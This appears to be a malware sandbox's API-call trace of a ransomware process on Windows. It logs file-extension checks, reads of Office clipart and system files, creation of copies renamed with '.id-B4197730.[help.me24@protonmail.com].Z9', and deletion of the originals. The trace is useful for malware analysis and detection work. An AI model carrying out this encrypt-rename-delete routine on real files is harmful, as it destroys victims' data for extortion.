	[0188.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86
	[0188.962] lstrlenW (lpString=".jpg") returned 4
	[0188.962] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0188.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86
	[0188.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86
	[0188.963] lstrlenW (lpString=".doc") returned 4
	[0188.963] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0188.963] lstrlenW (lpString=".docx") returned 5
	[0188.963] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1
	[0188.963] lstrlenW (lpString=".pdf") returned 4
	[0188.963] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0188.963] lstrlenW (lpString=".xls") returned 4
	[0188.963] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0188.963] lstrlenW (lpString=".xlsx") returned 5
	[0188.963] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1
	[0188.963] lstrlenW (lpString=".ppt") returned 4
	[0188.963] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0188.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86
	[0188.963] lstrlenW (lpString=".zip") returned 4
	[0188.963] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0188.963] lstrlenW (lpString=".rar") returned 4
	[0188.963] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0188.963] lstrlenW (lpString=".bz2") returned 4
	[0188.963] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0188.963] lstrlenW (lpString=".7z") returned 3
	[0188.963] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0188.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86
	[0188.963] lstrlenW (lpString=".dbf") returned 4
	[0188.963] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0188.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86
	[0188.963] lstrlenW (lpString=".1cd") returned 4
	[0188.963] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0188.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86
	[0188.963] lstrlenW (lpString=".jpg") returned 4
	[0188.963] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0188.964] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.964] lstrlenW (lpString="symbase.xml") returned 11
	[0188.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0188.964] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=3823) returned 1
	[0189.383] CloseHandle (hObject=0x36c) returned 1
	[0189.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20
	[0189.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84
	[0189.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84
	[0189.384] lstrlenW (lpString=".doc") returned 4
	[0189.384] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0189.384] lstrlenW (lpString=".docx") returned 5
	[0189.384] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0189.384] lstrlenW (lpString=".pdf") returned 4
	[0189.384] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0189.384] lstrlenW (lpString=".xls") returned 4
	[0189.384] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0189.384] lstrlenW (lpString=".xlsx") returned 5
	[0189.384] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0189.384] lstrlenW (lpString=".ppt") returned 4
	[0189.384] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0189.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84
	[0189.384] lstrlenW (lpString=".zip") returned 4
	[0189.384] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0189.384] lstrlenW (lpString=".rar") returned 4
	[0189.384] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0189.384] lstrlenW (lpString=".bz2") returned 4
	[0189.384] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0189.384] lstrlenW (lpString=".7z") returned 3
	[0189.384] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0189.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84
	[0189.385] lstrlenW (lpString=".dbf") returned 4
	[0189.385] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0189.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84
	[0189.385] lstrlenW (lpString=".1cd") returned 4
	[0189.385] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0189.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84
	[0189.385] lstrlenW (lpString=".jpg") returned 4
	[0189.385] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0189.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84
	[0189.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84
	[0189.385] lstrlenW (lpString=".doc") returned 4
	[0189.385] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0189.385] lstrlenW (lpString=".docx") returned 5
	[0189.385] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0189.385] lstrlenW (lpString=".pdf") returned 4
	[0189.385] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0189.385] lstrlenW (lpString=".xls") returned 4
	[0189.385] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0189.385] lstrlenW (lpString=".xlsx") returned 5
	[0189.385] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0189.385] lstrlenW (lpString=".ppt") returned 4
	[0189.385] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0189.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84
	[0189.385] lstrlenW (lpString=".zip") returned 4
	[0189.385] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0189.385] lstrlenW (lpString=".rar") returned 4
	[0189.385] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0189.385] lstrlenW (lpString=".bz2") returned 4
	[0189.385] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0189.385] lstrlenW (lpString=".7z") returned 3
	[0189.385] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0189.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84
	[0189.385] lstrlenW (lpString=".dbf") returned 4
	[0189.385] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0189.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84
	[0189.386] lstrlenW (lpString=".1cd") returned 4
	[0189.386] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0189.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84
	[0189.386] lstrlenW (lpString=".jpg") returned 4
	[0189.386] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0189.386] lstrcmpiW (lpString1=".bmp", lpString2=".Z9") returned -1
	[0189.386] lstrlenW (lpString="verisign.bmp") returned 12
	[0189.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0189.386] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=2702) returned 1
	[0189.386] CloseHandle (hObject=0x36c) returned 1
	[0189.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20
	[0189.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0189.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0189.387] lstrlenW (lpString=".doc") returned 4
	[0189.387] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0189.387] lstrlenW (lpString=".docx") returned 5
	[0189.387] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1
	[0189.387] lstrlenW (lpString=".pdf") returned 4
	[0189.387] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0189.387] lstrlenW (lpString=".xls") returned 4
	[0189.387] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0189.387] lstrlenW (lpString=".xlsx") returned 5
	[0189.387] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1
	[0189.387] lstrlenW (lpString=".ppt") returned 4
	[0189.387] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0189.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0189.387] lstrlenW (lpString=".zip") returned 4
	[0189.387] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0189.387] lstrlenW (lpString=".rar") returned 4
	[0189.387] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0189.387] lstrlenW (lpString=".bz2") returned 4
	[0189.387] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0189.387] lstrlenW (lpString=".7z") returned 3
	[0189.387] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0189.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0189.387] lstrlenW (lpString=".dbf") returned 4
	[0189.387] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0189.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0189.388] lstrlenW (lpString=".1cd") returned 4
	[0189.388] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0189.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0189.388] lstrlenW (lpString=".jpg") returned 4
	[0189.388] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0189.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0189.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0189.388] lstrlenW (lpString=".doc") returned 4
	[0189.388] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0189.388] lstrlenW (lpString=".docx") returned 5
	[0189.388] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1
	[0189.388] lstrlenW (lpString=".pdf") returned 4
	[0189.388] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0189.388] lstrlenW (lpString=".xls") returned 4
	[0189.388] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0189.388] lstrlenW (lpString=".xlsx") returned 5
	[0189.388] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1
	[0189.388] lstrlenW (lpString=".ppt") returned 4
	[0189.388] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0189.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0189.388] lstrlenW (lpString=".zip") returned 4
	[0189.388] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0189.388] lstrlenW (lpString=".rar") returned 4
	[0189.388] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0189.388] lstrlenW (lpString=".bz2") returned 4
	[0189.388] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0189.388] lstrlenW (lpString=".7z") returned 3
	[0189.388] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0189.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0189.388] lstrlenW (lpString=".dbf") returned 4
	[0189.388] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0189.389] lstrcmpiW (lpString1=".inc", lpString2=".Z9") returned -1
	[0189.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0189.390] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=14856) returned 1
	[0189.390] CloseHandle (hObject=0x36c) returned 1
	[0189.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20
	[0189.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.390] lstrcmpiW (lpString1=".inc", lpString2=".Z9") returned -1
	[0189.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0189.391] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=15195) returned 1
	[0189.391] CloseHandle (hObject=0x36c) returned 1
	[0189.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20
	[0189.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.391] Sleep (dwMilliseconds=0x64) 
	[0189.728] Sleep (dwMilliseconds=0x64) 
	[0190.610] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0190.610] lstrlenW (lpString="J0099156.JPG") returned 12
	[0190.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0190.610] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=13954) returned 1
	[0190.610] CloseHandle (hObject=0x37c) returned 1
	[0190.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 0x220
	[0190.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0190.611] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.611] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0190.612] GetLastError () returned 0x0
	[0190.612] ReadFile (in: hFile=0x37c, lpBuffer=0x3a36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesRead=0x2e6fecc*=0x3682, lpOverlapped=0x0) returned 1
	[0190.628] WriteFile (in: hFile=0x380, lpBuffer=0x3a36020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesWritten=0x2e6fc94*=0x3690, lpOverlapped=0x0) returned 1
	[0190.629] ReadFile (in: hFile=0x37c, lpBuffer=0x3a36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.629] WriteFile (in: hFile=0x380, lpBuffer=0x3a36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.630] SetEndOfFile (hFile=0x380) returned 1
	[0190.630] CloseHandle (hObject=0x380) returned 1
	[0190.630] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.630] SetEndOfFile (hFile=0x37c) returned 1
	[0190.631] CloseHandle (hObject=0x37c) returned 1
	[0190.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0190.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1
	[0190.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0190.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0190.632] lstrlenW (lpString=".doc") returned 4
	[0190.632] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0190.632] lstrlenW (lpString=".docx") returned 5
	[0190.632] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0190.632] lstrlenW (lpString=".pdf") returned 4
	[0190.632] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0190.632] lstrlenW (lpString=".xls") returned 4
	[0190.632] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0190.632] lstrlenW (lpString=".xlsx") returned 5
	[0190.632] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0190.632] lstrlenW (lpString=".ppt") returned 4
	[0190.632] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0190.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0190.632] lstrlenW (lpString=".zip") returned 4
	[0190.632] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0190.632] lstrlenW (lpString=".rar") returned 4
	[0190.632] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0190.632] lstrlenW (lpString=".bz2") returned 4
	[0190.632] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0190.632] lstrlenW (lpString=".7z") returned 3
	[0190.632] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0190.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0190.632] lstrlenW (lpString=".dbf") returned 4
	[0190.632] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0190.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0190.632] lstrlenW (lpString=".1cd") returned 4
	[0190.633] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0190.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0190.633] lstrlenW (lpString=".jpg") returned 4
	[0190.633] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0190.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0190.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0190.633] lstrlenW (lpString=".doc") returned 4
	[0190.633] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0190.633] lstrlenW (lpString=".docx") returned 5
	[0190.633] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0190.633] lstrlenW (lpString=".pdf") returned 4
	[0190.633] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0190.633] lstrlenW (lpString=".xls") returned 4
	[0190.633] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0190.633] lstrlenW (lpString=".xlsx") returned 5
	[0190.633] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0190.633] lstrlenW (lpString=".ppt") returned 4
	[0190.633] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0190.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0190.633] lstrlenW (lpString=".zip") returned 4
	[0190.633] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0190.633] lstrlenW (lpString=".rar") returned 4
	[0190.633] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0190.633] lstrlenW (lpString=".bz2") returned 4
	[0190.633] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0190.633] lstrlenW (lpString=".7z") returned 3
	[0190.633] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0190.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0190.633] lstrlenW (lpString=".dbf") returned 4
	[0190.633] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0190.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0190.633] lstrlenW (lpString=".1cd") returned 4
	[0190.633] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0190.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0190.634] lstrlenW (lpString=".jpg") returned 4
	[0190.634] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0190.634] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0190.634] lstrlenW (lpString="J0099157.JPG") returned 12
	[0190.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0190.634] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=9671) returned 1
	[0190.634] CloseHandle (hObject=0x37c) returned 1
	[0190.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 0x220
